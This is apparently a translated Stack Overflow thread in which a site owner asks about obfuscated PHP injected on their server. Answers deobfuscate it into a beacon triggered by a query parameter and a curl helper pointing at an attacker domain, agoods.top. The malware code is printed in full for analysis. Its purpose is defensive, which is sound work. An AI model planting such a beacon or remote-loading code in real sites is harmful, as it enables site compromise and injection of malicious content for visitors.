【问题标题】:How to deobfuscate a PHP code that is written as below? [closed]如何对如下编写的 PHP 代码进行去混淆处理? [关闭]
【发布时间】:2021-12-26 05:21:27
【问题描述】:

我已经看到此代码添加到服务器文件中。看起来它是一个恶意代码,我似乎无法对此代码进行反混淆/解密。

<?php 
@header('Content-Type:text/html;charset=utf-8');
error_reporting(0); $OOOOOO="%71%77%65%72%74%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36%35%34%38%37%39%27%3b%28%29%26%5e%24%5b%5d%5c%5c%25%7b%7d%21%2a%7c%2b%2c"; 
global $O; 
$O=urldecode($OOOOOO);
if($_GET[$O{21}.$O{15}.$O{2}.$O{24}]==$O{69}.$O{64}.$O{53}.$O{21}.$O{24}){
    $oooOoOoOoooOooOOooooo = file_get_contents(__FILE__);
    $oooOoOoOoOoooooOOooo = explode($O{58}.$O{55}.$O{9}.$O{15}.$O{9},$oooOoOoOoooOooOOooooo);
    if(strpos($oooOoOoOoOoooooOOooo[1],'%71%77%65')!==false){ 
        echo $O{81}.$O{8}.$O{17}.$O{88}.$O{82};
        exit;
    }else{
        echo $O{81}.$O{13}.$O{10}.$O{7}.$O{18}.$O{88}.$O{82};
        exit;
    }
}

$oOooOO='z0807_1';
$oOooOOoO=$O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63}.$oOooOO.$O{59}.$O{10}.$O{14}.$O{8}.$O{8}.$O{12}.$O{11}.$O{59}.$O{4}.$O{8}.$O{9}; 
function ooooooooOOOOOOOOoooooOOO($oooOOOoOoo){
    $ooooOOOooOo=curl_init();
    curl_setopt ($ooooOOOooOo, CURLOPT_URL, $oooOOOoOoo);curl_setopt ($ooooOOOooOo, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ooooOOOooOo, CURLOPT_CONNECTTIMEOUT, 5);$oooooOOOOooO = curl_exec($ooooOOOooOo);
    curl_close($ooooOOOooOo);
    return $oooooOOOOooO; 
}

【问题讨论】:

  • 如果它出现在您的服务器上并且您没有将它放在那里,那么您已经被黑客入侵了。删除整个站点并从上次干净的备份中恢复。
  • 您是否仅在 1 个脚本中找到了此代码?
  • 我发现这个脚本正在尝试加载您当前文件的内容并将其发送到一个名为:http://z0807_1.agoods.top 的 URL。此网址隐藏在 $O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63}.$aa.$O{59}.$O{10}.$O{14}.$O{8}.$O{8}.$O{12}.$O{11}.$O{59}.$O{4}.$O{8}.$O{9}; 中,其中 $aa 为 = z0807_1
  • 如果您发现某些未知代码已添加到您的站点,请擦除服务器并确保按照所有最佳安全实践重新设置它。您还应该对您的代码进行审核,以确保它没有任何安全问题。完成后,重新部署您的站点。代码的作用并不重要,因为如果有人能够将一段代码放在您的服务器上,他们可能也可以将其他东西放在那里。
  • 如果这真的是添加的所有内容,那么 curl 不应该被执行(还)。

标签: php obfuscation


【解决方案1】:

你可以逐步解开这个问题。

有这个 $OOOOOO 字符串,然后 URL 解码为 $O,产生以下内容(看起来像是逐行通过键盘):

$O = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_-\"?> <.-=:/1230654879';()&^$[]\\%{}!*|+,";

从那时起,在许多地方都可以访问该字符串的字符(使用鲜为人知且现在也已弃用的大括号语法来访问数组索引)并用于构建新字符串。我们可以用实际字符替换所有这些$O{x} 位(我使用了正则表达式替换):


if($_GET["c"."h"."e"."n"]=="5"."1"."-"."c"."n"){
    $oooOoOoOoooOooOOooooo = file_get_contents(__FILE__);
    $oooOoOoOoOoooooOOooo = explode("<"."?"."p"."h"."p",$oooOoOoOoooOooOOooooo);
    if(strpos($oooOoOoOoOoooooOOooo[1],'%71%77%65')!==false){ 
        echo "["."o"."k"."!"."]";
        exit;
    }else{
        echo "["."f"."a"."i"."l"."!"."]";
        exit;
    }
}

$oOooOO='z0807_1';
$oOooOOoO="h"."t"."t"."p".":"."/"."/".$oOooOO."."."a"."g"."o"."o"."d"."s"."."."t"."o"."p"; 
function ooooooooOOOOOOOOoooooOOO($oooOOOoOoo){
    $ooooOOOooOo=curl_init();
    curl_setopt ($ooooOOOooOo, CURLOPT_URL, $oooOOOoOoo);curl_setopt ($ooooOOOooOo, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ooooOOOooOo, CURLOPT_CONNECTTIMEOUT, 5);$oooooOOOOooO = curl_exec($ooooOOOooOo);
    curl_close($ooooOOOooOo);
    return $oooooOOOOooO; 
}

然后我们可以组合这些字符串以使它们更具可读性:


if($_GET["chen"]=="51-cn"){
    $oooOoOoOoooOooOOooooo = file_get_contents(__FILE__);
    $oooOoOoOoOoooooOOooo = explode("<?php",$oooOoOoOoooOooOOooooo);
    if(strpos($oooOoOoOoOoooooOOooo[1],'%71%77%65')!==false){ 
        echo "[ok!]";
        exit;
    }else{
        echo "[fail!]";
        exit;
    }
}

$oOooOO='z0807_1';
$oOooOOoO="http://".$oOooOO.".agoods.top"; 
function ooooooooOOOOOOOOoooooOOO($oooOOOoOoo){
    $ooooOOOooOo=curl_init();
    curl_setopt ($ooooOOOooOo, CURLOPT_URL, $oooOOOoOoo);curl_setopt ($ooooOOOooOo, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ooooOOOooOo, CURLOPT_CONNECTTIMEOUT, 5);$oooooOOOOooO = curl_exec($ooooOOOooOo);
    curl_close($ooooOOOooOo);
    return $oooooOOOOooO; 
}

现在让我们重命名令人困惑的变量:


if($_GET["chen"]=="51-cn"){
    $varA = file_get_contents(__FILE__);
    $varB = explode("<?php",$varA);
    if(strpos($varB[1],'%71%77%65')!==false){ 
        echo "[ok!]";
        exit;
    }else{
        echo "[fail!]";
        exit;
    }
}

$varC='z0807_1';
$varD="http://".$varC.".agoods.top"; 
function someFunction($varE){
    $varF=curl_init();
    curl_setopt ($varF, CURLOPT_URL, $varE);curl_setopt ($varF, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($varF, CURLOPT_CONNECTTIMEOUT, 5);$varG = curl_exec($varF);
    curl_close($varF);
    return $varG; 
}

接下来,让我们将函数内部的长线分开:

if($_GET["chen"]=="51-cn"){
    $varA = file_get_contents(__FILE__);
    $varB = explode("<?php",$varA);
    if(strpos($varB[1],'%71%77%65')!==false){ 
        echo "[ok!]";
        exit;
    }else{
        echo "[fail!]";
        exit;
    }
}

$varC='z0807_1';
$varD="http://".$varC.".agoods.top"; 
function someFunction($varE){
    $varF=curl_init();
    curl_setopt ($varF, CURLOPT_URL, $varE);
    curl_setopt ($varF, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($varF, CURLOPT_CONNECTTIMEOUT, 5);
    $varG = curl_exec($varF);
    curl_close($varF);
    return $varG; 
}

作为最后一步,我们可以为这些变量猜测更好的名称:

if($_GET["chen"]=="51-cn"){
    $thisFileSource = file_get_contents(__FILE__);
    $parts = explode("<?php",$thisFileSource);
    if(strpos($parts[1],'%71%77%65')!==false){ 
        echo "[ok!]";
        exit;
    }else{
        echo "[fail!]";
        exit;
    }
}

$subdomain='z0807_1';
$url="http://".$subdomain.".agoods.top"; 
function sendRequest($url){
    $curl=curl_init();
    curl_setopt ($curl, CURLOPT_URL, $url);
    curl_setopt ($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($curl, CURLOPT_CONNECTTIMEOUT, 5);
    $result = curl_exec($curl);
    curl_close($curl);
    return $result; 
}

至于这段代码的作用:如果在 URL 中使用查询参数 chen=51-cn 调用它,它会检查当前文件是否包含第一个 PHP 代码部分中的 $OOOOOO 字符串的开头,如果包含,则返回[ok!],否则返回[fail!]。 (这听起来对我来说完全没用,因为如果代码不存在,那么它也不会运行,所以只需 echo "[ok!]"; 就足够了......)此外,它准备了一个对 http://z0807_1.agoods.top 的请求,但它永远不会执行,至少不在您展示的代码中。 (也许它在您的代码中的其他地方也被注入了代码的其他地方执行!可能值得寻找ooooooooOOOOOOOOoooooOOO。)

谷歌搜索“agoods.top”会发现许多看似无关的网站,这些网站的内容中包含各种 PHP 错误,例如 Warning: mysqli::__construct(): (HY000/1040): Too many connections in /www/wwwroot/z0930_1.agoods.top/connect2.php on line 7。 (具有讽刺意味的是,在 注入 代码中,错误输出被抑制。)浏览这些网站(我非常小心,所以你不必这样做! em>) 表明其中一些是恶意行为,例如在几秒钟后将用户重定向到虚假的“浏览器更新”页面,而现在很多都刚刚关闭。这让我相信这些也是被劫持的网站,并且该代码应该最终从攻击者在zXXXX_X.agoods.top 上的网站中提取 HTML 并将其注入页面,但攻击者搞砸了,并且还以这种方式传递了 PHP 错误,从而结束在 Google 的缓存中。

【讨论】:

    【解决方案2】:

    因为我总是想知道如果这发生在我身上会发生什么
    我查了一下这段代码的作用。

    首先是注释代码,然后仅在 cmets 下面。

    请勿在您的机器上执行此操作!

    // Sets header ...
    @header('Content-Type:text/html;charset=utf-8');
    // Disables error reporting (sure to not trigger notifications on owner side).
    error_reporting(0);
    // Sets a char string: qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_-"?\> <.-=:/1230654879';()&^$[]\\%{}!*|+,
    //                                                                             ^ escaped by me
    $OOOOOO="%71%77%65%72%74%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36%35%34%38%37%39%27%3b%28%29%26%5e%24%5b%5d%5c%5c%25%7b%7d%21%2a%7c%2b%2c";
    // Sets $O global (makes no sense to me).
    global $O;
    // decodes the url encoded string "qwertyuiopasdf...".
    $O=urldecode($OOOOOO);
    // $_GET['chen'] == '51-cn'
    if($_GET[$O{21}.$O{15}.$O{2}.$O{24}]==$O{69}.$O{64}.$O{53}.$O{21}.$O{24}){
        // Load this file into var.
        $oooOoOoOoooOooOOooooo = file_get_contents(__FILE__);
        // Explode by "<?php" (makes no sense to me).
        $oooOoOoOoOoooooOOooo = explode($O{58}.$O{55}.$O{9}.$O{15}.$O{9},$oooOoOoOoooOooOOooooo);
        // If "%71%77%65" is found in loaded file (part) (so if we loaded the "hacked" file)
        if(strpos($oooOoOoOoOoooooOOooo[1],'%71%77%65')!==false){
            // then echo "[ok!]" and exit
            echo $O{81}.$O{8}.$O{17}.$O{88}.$O{82};
            exit;
        }else{
            // else echo "[fail!]" and exit
            echo $O{81}.$O{13}.$O{10}.$O{7}.$O{18}.$O{88}.$O{82};
            exit;
        }
    }
    
    // Following function got not called by provided code.
    // I think its to load more code into the project.
    // (I disabled the curl lines btw.)
    
    // Set sub domain on var.
    $oOooOO='z0807_1';
    // Set url "http://z0807_1.agoods.top" on var.
    $oOooOOoO=$O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63}.$oOooOO.$O{59}.$O{10}.$O{14}.$O{8}.$O{8}.$O{12}.$O{11}.$O{59}.$O{4}.$O{8}.$O{9};
    function ooooooooOOOOOOOOoooooOOO($oooOOOoOoo){
        // Init curl.
        #$ooooOOOooOo=curl_init();
        // Set url (given function param).
        #curl_setopt ($ooooOOOooOo, CURLOPT_URL, $oooOOOoOoo);
        // CURLOPT_RETURNTRANSFER = 1 to not echo out response.
        #curl_setopt ($ooooOOOooOo, CURLOPT_RETURNTRANSFER, 1);
        // 5 sec connection timeout.
        #curl_setopt ($ooooOOOooOo, CURLOPT_CONNECTTIMEOUT, 5);
        // Execute and set response to NEW var.
        #$oooooOOOOooO = curl_exec($ooooOOOooOo);
        #curl_close($ooooOOOooOo);
        // Return new var content.
        #return $oooooOOOOooO;
    }
    

    这里是“just cmets”部分。

    // Sets header ...
    // Disables error reporting (sure to not trigger notifications on owner side).
    // Sets a char string: qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_-"?\> <.-=:/1230654879';()&^$[]\\%{}!*|+,
    // Sets $O global (makes no sense to me).
    // decodes the url encoded string "qwertyuiopasdf...".
    // $_GET['chen'] == '51-cn'
        // Load this file into var.
        // Explode by "<?php" (makes no sense to me).
        // If "%71%77%65" is found in loaded file (part) (so if we loaded the "hacked" file)
            // then echo "[ok!]" and exit
            // else echo "[fail!]" and exit
    
    // Following function got not called by provided code.
    // I think its to load more code into the project.
    // (I disabled the curl lines btw.)
    
    // Set sub domain on var.
    // Set url "http://z0807_1.agoods.top" on var.
        // Init curl.
        // Set url (given function param).
        // CURLOPT_RETURNTRANSFER = 1 to not echo out response.
        // 5 sec connection timeout.
        // Execute and set response to NEW var.
        // Return new var content.
    

    所以这在我看来是这样的

    • 不是注入的完整代码
    • 由检查注入是否成功的机器人完成
    • 一个脚本,可按需将更多错误代码加载到您的项目中。

    希望你只是在某处被“标记”为“已找到” - 所以还没有真正发生任何事情。
    但我不知道。

    【讨论】:

    • 不是完整的代码,我分享了一部分。谢谢
    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 2016-02-08
    • 2022-01-18
    相关资源
    最近更新 更多